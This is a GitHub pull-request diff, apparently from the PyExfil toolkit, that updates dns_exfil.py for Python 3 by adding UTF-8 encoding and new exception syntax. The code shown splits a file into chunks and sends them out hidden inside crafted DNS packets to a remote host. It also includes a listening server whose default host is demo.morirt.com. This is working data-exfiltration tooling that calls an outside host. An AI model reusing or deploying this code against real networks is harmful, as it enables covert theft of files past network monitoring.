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fixed data types in DNS_exfil.py #25

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fixed data types in DNS_exfil.py #25

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12 changes: 6 additions & 6 deletions pyexfil/network/DNS/dns_exfil.py
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Original file line number Diff line number Diff line change
Expand Up @@ -85,19 +85,19 @@ def build_dns(host_to_resolve):
head, tail = os.path.split(path_to_file) # Get filename
dns_request += INITIATION_STRING + tail + DELIMITER + str(checksum) + NULL # Extra data goes here
addr = (host, port) # build address to send to
s.sendto(dns_request, addr)
s.sendto(dns_request.encode('utf-8'), addr)
# Sending actual file:
chunks = [exfil_me[i:i + max_packet_size] for i in range(0, len(exfil_me), max_packet_size)] # Split into chunks
for chunk in chunks:
dns_request = build_dns(host)
dns_request += chunk + DATA_TERMINATOR
s.sendto(dns_request, addr)
dns_request += chunk.decode('utf-8') + DATA_TERMINATOR
s.sendto(dns_request.encode('utf-8'), addr)
time.sleep(time_delay)

# Send termination packet:
dns_request = build_dns(host)
dns_request += DATA_TERMINATOR + NULL + DATA_TERMINATOR
s.sendto(dns_request, addr)
s.sendto(dns_request.encode('utf-8'), addr)

return 0

Expand All @@ -115,14 +115,14 @@ def dns_server(host="demo.morirt.com", port=53, play_dead=True):
# Try opening socket and listen
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except socket.error, msg :
except (socket.error) as msg :
sys.stderr.write('Failed to create socket. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
raise

# Try binding to the socket
try:
s.bind((host, port))
except socket.error, msg:
except (socket.error) as msg:
sys.stderr.write('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])
raise

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